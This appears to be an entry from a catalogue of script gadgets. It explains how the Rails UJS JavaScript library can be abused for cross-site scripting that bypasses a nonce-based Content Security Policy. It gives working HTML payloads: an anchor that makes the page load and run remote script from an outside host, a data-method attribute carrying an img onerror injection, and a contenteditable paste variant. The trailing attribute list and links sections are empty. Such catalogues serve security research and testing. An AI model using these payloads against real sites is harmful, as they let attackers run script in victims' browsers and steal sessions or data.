Ruby on Rails unobtrusive scripting adapter.
Rails UJS allows loading JavaScript files using data-* attributes. Furthermore, if a nonce is found using the selector meta[name=”csp-nonce”], it will automatically be added to the <script> tag. Since the event is delegated to the document, it can be triggered at any time.
For this to works the server must respond with Access-Control-Allow-Origin: *, Access-Control-Allow-Headers: * and Content-Type: application/javascript.
<meta name="csp-nonce" content="secret">
<script nonce="secret" src="https://cdn.jsdelivr.net/npm/@rails/[email protected]/app/assets/javascripts/rails-ujs.min.js"></script>
<!-- user input -->
<a data-remote="true" data-method="get" data-type="script" href="https://gmsgadget.com/assets/xss/index.js">XSS</a>
An alternative payload that uses fewer attributes works by abusing the data-method attribute, which ends in an innerHTML sink (this one won’t work without an unsafe-inline CSP directive).
<script nonce="secret" src="https://cdn.jsdelivr.net/npm/@rails/[email protected]/app/assets/javascripts/rails-ujs.min.js"></script>
<!-- user input -->
<a data-method="'><img src=x onerror=alert(1)>'" href="https://gmsgadget.com/assets/xss/index.js">XSS</a>
Another interesting way to abuse this gadget (highlighted by @ryotkak) is by copy-pasting the payload into a contenteditable element.
<meta name="csp-nonce" content="secret">
<script nonce="secret" src="https://cdn.jsdelivr.net/npm/@rails/[email protected]/app/assets/javascripts/rails-ujs.min.js"></script>
<!-- past the payload here -->
<div contenteditable="true"></div>
The full list of available data-* attributes is:
Related links: